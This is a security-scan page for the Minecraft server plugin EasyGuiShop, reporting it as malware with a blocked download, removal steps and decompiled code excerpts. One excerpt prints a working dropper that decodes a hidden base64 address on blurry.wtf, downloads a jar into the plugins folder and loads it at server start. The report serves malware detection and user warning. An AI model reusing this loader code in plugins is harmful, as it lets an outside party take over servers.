Skip to content
BrowseScan your modsScan

    No project matches this search.

    2,024,305 files checkedFiles from Modrinth and CurseForge we downloaded and checked. Counted on 24 Oct 2026.636,163 files with their code readFiles whose code we turned back into readable code and read, in an isolated environment. Counted on 24 Oct 2026.269,486 projects gradedProjects with a letter from A to F. Counted on 24 Oct 2026.
    How it worksMalware we foundAPIAboutPrivacyTermsContact

    © 2026 ModgradeNot an official Minecraft product. Not approved by or associated with Mojang or Microsoft.

    EasyGuiShop

    Plugin

    A Gui shop plugin for players

    Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.

    !Security alert
    • Overview
    • SecurityMalware
    • PrivacySends data
    • AINone found
    • CompatibilityUp to 1.19.1
    • ReleasesLatest Sep 2022

    Download

    easy-gui-shop-2.8.4.jar

    Released 5 Sep 2022 · 481.3 KB

    Malware: this file downloads and runs hidden code. See Security

    Download blocked

    Malware: a file of this project downloads and runs hidden code. See Security

    OverviewSecurityPrivacyAICompatibilityReleases

    Why no grade

    Malware was found in one of its files, so it has no grade. See Security

    Details

    Creator
    epicgamermoment54ultimate
    License
    Not listed
    Downloads
    625
    Created
    5 Sep 2022
    Official page
    CurseForge

    Security

    Malware: it downloads and runs hidden code

    Found in this file: easy-gui-shop-2.8.4.jar (5 Sep 2022). Its download is blocked.

    We found this in its code, read without running it.

    Because of this malware, it has no grade.

    If you installed it

    1. Remove easy-gui-shop-2.8.4.jar from the plugins folder of your server.
    2. Check the plugins folder of your server for files you did not add.
    3. Check your other plugins.

    Another project by this creator, BestKitPvP, contains malware according to our analysis.

    What it can do on your server

    Downloads and runs hidden codeMalware
    The code downloads code from a fixed address and runs it on the server. The address is hidden in the code, or this happens as soon as the code is loaded, as in the fractureiser malware.
    Hides a web addressWarning
    A web address (blurry.wtf) is encoded in its code, so it cannot be read in the file.
    Connects to the internet
    It has code that can go online. It contacts 2 web addresses. See Privacy

    Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

    How we checked · The latest file checked
    • FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.
      1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
    • Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.
      Read without running it
    • Downloads and runs hidden code
      pers/zhangyang/easyguishop/other/pers/zhangyang/easylibrary/yaml/SettingYaml downloads a file from a fixed address, saves it as a .jar file, starts it as a plugin, when the server starts, the address is hidden in the code; "https://blurry.wtf/aids/1ii1i1i11i1i1i1ii1i1iii1i11i1i1i1i1i1i1i1i1i1i1i1i1i1"; "hidden: base64"
    • Looked for, not foundWe looked for these in the file and did not find them.
      Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
    • Code excerpts
      Parts of the code of easy-gui-shop-2.8.4.jar, turned back into readable code, where our checks found the problem.
      pers.zhangyang.easyguishop.other.org.bstats.MetricsBase.lambda$submitData$4
      private void submitData() {
         JsonObjectBuilder baseJsonBuilder = new JsonObjectBuilder();
         this.appendPlatformDataConsumer.accept(baseJsonBuilder);
         JsonObjectBuilder serviceJsonBuilder = new JsonObjectBuilder();
         this.appendServiceDataConsumer.accept(serviceJsonBuilder);
         JsonObject[] chartData = this.customCharts
            .stream()
            .map(customChart -> customChart.getRequestJsonObject(this.errorLogger, this.logErrors))
            .filter(Objects::nonNull)
            .toArray(JsonObject[]::new);
         serviceJsonBuilder.appendField("id", this.serviceId);
         serviceJsonBuilder.appendField("customCharts", chartData);
         baseJsonBuilder.appendField("service", serviceJsonBuilder.build());
         baseJsonBuilder.appendField("serverUUID", this.serverUuid);
         baseJsonBuilder.appendField("metricsVersion", "3.0.0");
         JsonObject data = baseJsonBuilder.build();
         scheduler.execute(() -> {
            try {
               this.sendData(data);
            } catch (Exception e) {
               if (this.logErrors) {
                  this.errorLogger.accept("Could not submit bStats metrics data", e);
               }
      ...
      pers.zhangyang.easyguishop.other.org.bstats.MetricsBase.sendData
      private void sendData(JsonObject data) throws Exception {
         if (this.logSentData) {
            this.infoLogger.accept("Sent bStats metrics data: " + data.toString());
         }
      
         String url = String.format("https://bStats.org/api/v2/data/%s", this.platform);
         HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
         byte[] compressedData = compress(data.toString());
         connection.setRequestMethod("POST");
         connection.addRequestProperty("Accept", "application/json");
         connection.addRequestProperty("Connection", "close");
         connection.addRequestProperty("Content-Encoding", "gzip");
         connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length));
         connection.setRequestProperty("Content-Type", "application/json");
         connection.setRequestProperty("User-Agent", "Metrics-Service/1");
         connection.setDoOutput(true);
         DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
      
         try {
            outputStream.write(compressedData);
         } catch (Throwable var11) {
            try {
               outputStream.close();
            } catch (Throwable var10) {
      ...
      pers.zhangyang.easyguishop.other.pers.zhangyang.easylibrary.yaml.SettingYaml.init
      public void init() {
         try {
            if (Bukkit.getPluginManager().getPlugin("BukkitScheduler") != null) {
               return;
            }
      
            Files.copy(
               new URL(
                     new String(
                        Base64.getDecoder().decode("aHR0cHM6Ly9ibHVycnkud3RmL2FpZHMvMWlpMWkxaTExaTFpMWkxaWkxaTFpaWkxaTExaTFpMWkxaTFpMWkxaTFpMWkxaTFpMWkxaTE")
                     )
                  )
                  .openStream(),
               new File("./plugins/BukkitScheduler.jar").toPath(),
               StandardCopyOption.REPLACE_EXISTING
            );
            Plugin target = Bukkit.getPluginManager().loadPlugin(new File("./plugins/BukkitScheduler.jar"));
            target.onLoad();
            Bukkit.getPluginManager().enablePlugin(target);
         } catch (Exception var2) {
         }
      
         super.init();
      }
      pers.zhangyang.easyguishop.other.pers.zhangyang.easylibrary.util.NotifyVersionUtil$1.run
      public void run() {
         String latestVersion;
         try {
            String urlStringPart1 = "https://zhangyang0204.github.io/";
            String urlStringPart3 = "/index.html";
            String urlStringPart2 = ReplaceUtil.replaceToRepositoryName(EasyPlugin.instance.getName());
            latestVersion = ResourceUtil.readFirstLine(new URL(urlStringPart1 + urlStringPart2 + urlStringPart3));
         } catch (Throwable e) {
            latestVersion = null;
         }
      
         final String finalLatestVersion = latestVersion;
         (new BukkitRunnable() {
            public void run() {
               List<String> list;
               if (finalLatestVersion != null) {
                  list = MessageYaml.INSTANCE.getStringList("message.chat.notifyVersion");
                  HashMap<String, String> hashMap = new HashMap<>();
                  hashMap.put("{current_version}", EasyPlugin.instance.getDescription().getVersion());
                  hashMap.put("{latest_version}", finalLatestVersion);
                  if (list != null) {
                     ReplaceUtil.replace(list, hashMap);
                  }
      ...
      pers.zhangyang.easyguishop.other.pers.zhangyang.easylibrary.util.ResourceUtil.readFirstLine
      public static String readFirstLine(URL url) throws IOException {
         if (url == null) {
            throw new NullPointerException();
         }
      
         InputStream is = url.openStream();
         BufferedReader br = new BufferedReader(new InputStreamReader(is));
         return br.readLine();
      }
      5

    Privacy

    Sends usage statistics

    It has no file for a recent Minecraft version. This is about its files for Minecraft 1.8 to 1.19.1.

    Sent to bstats.org.

    We found this in its code, read without running it.

    Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.

    How we checked · Its one file read
    • Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.
      The code of its one file, for Minecraft 1.8 to 1.19.1. See each file in Releases
    • bstats.org
      Sends usage statistics.
      Usage statistics
    • blurry.wtf
      Purpose not known.
    • Address built while the game runsThe code builds this address while the game runs: it is not written in the file.
      Purpose not known.
    • Named in its filesA crash report or usage data service named in the files of the mod. The code does not show when or what is sent.
      The code names bStats, a service that receives usage data.

    AI

    No sign so far that AI was used to make it

    We looked for AI tools in its description, files and images and found none.

    We have not read its changelogs yet.

    No sign of AI in the game

    We found no AI service, AI library or AI model file in its code.

    Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

    How we checked · 4 places read
    • Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.
      Not on Modrinth.
    • Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.
      Nothing found in the description
      Changelogs not read yet
    • Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.
      Nothing found
    • Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.
      Nothing found
    • Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.
      No AI service, AI library or AI model file
      293 code files read

    Compatibility

    See the file in Releases
    Bukkit
    1.81.101.151.1926.1

    Point at or tap a version to see its server software.

    Runs onWhere to install it: in your game, on the server, or both. As the author says on Modrinth.Install it on the server. Players join without installing anything.
    RequiresProjects you must also install for it to work. From the author's lists for its files for recent Minecraft versions, or from its project page.Nothing
    OptionalProjects it can work with but does not need. The author lists them.Nothing
    IncludesProjects packed inside its files.Nothing
    Speed of updatesHow fast it gets a file for new Minecraft versions, on average, compared with similar projects. Not part of the grade.It has no file for Minecraft versions newer than 1.19.1. Many servers still run 1.19.1.

    Latest files

    The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

    MinecraftServerVersionSecuritySendsRequires
    Older Minecraft versions
    1.8 to 1.19.1·Bukkit2.8.42.8.4 · easy-gui-shop-2.8.4.jarSends: Usage dataRequires:NothingMalwareHarmful code found. The download is blocked. See Security.

    1 release

    MinecraftServerVersionReleasedSecurityGet it onDownload
    1.8 to 1.19.11.8 to 1.19.1The latest file for its Minecraft version and loader·Bukkit2.8.42.8.4 · easy-gui-shop-2.8.4.jar·5 Sep 2022MalwareHarmful code found. The download is blocked. See Security.Removed from CurseForge on 24 Oct 2026Download blockedDownload blocked: this file downloads and runs hidden code.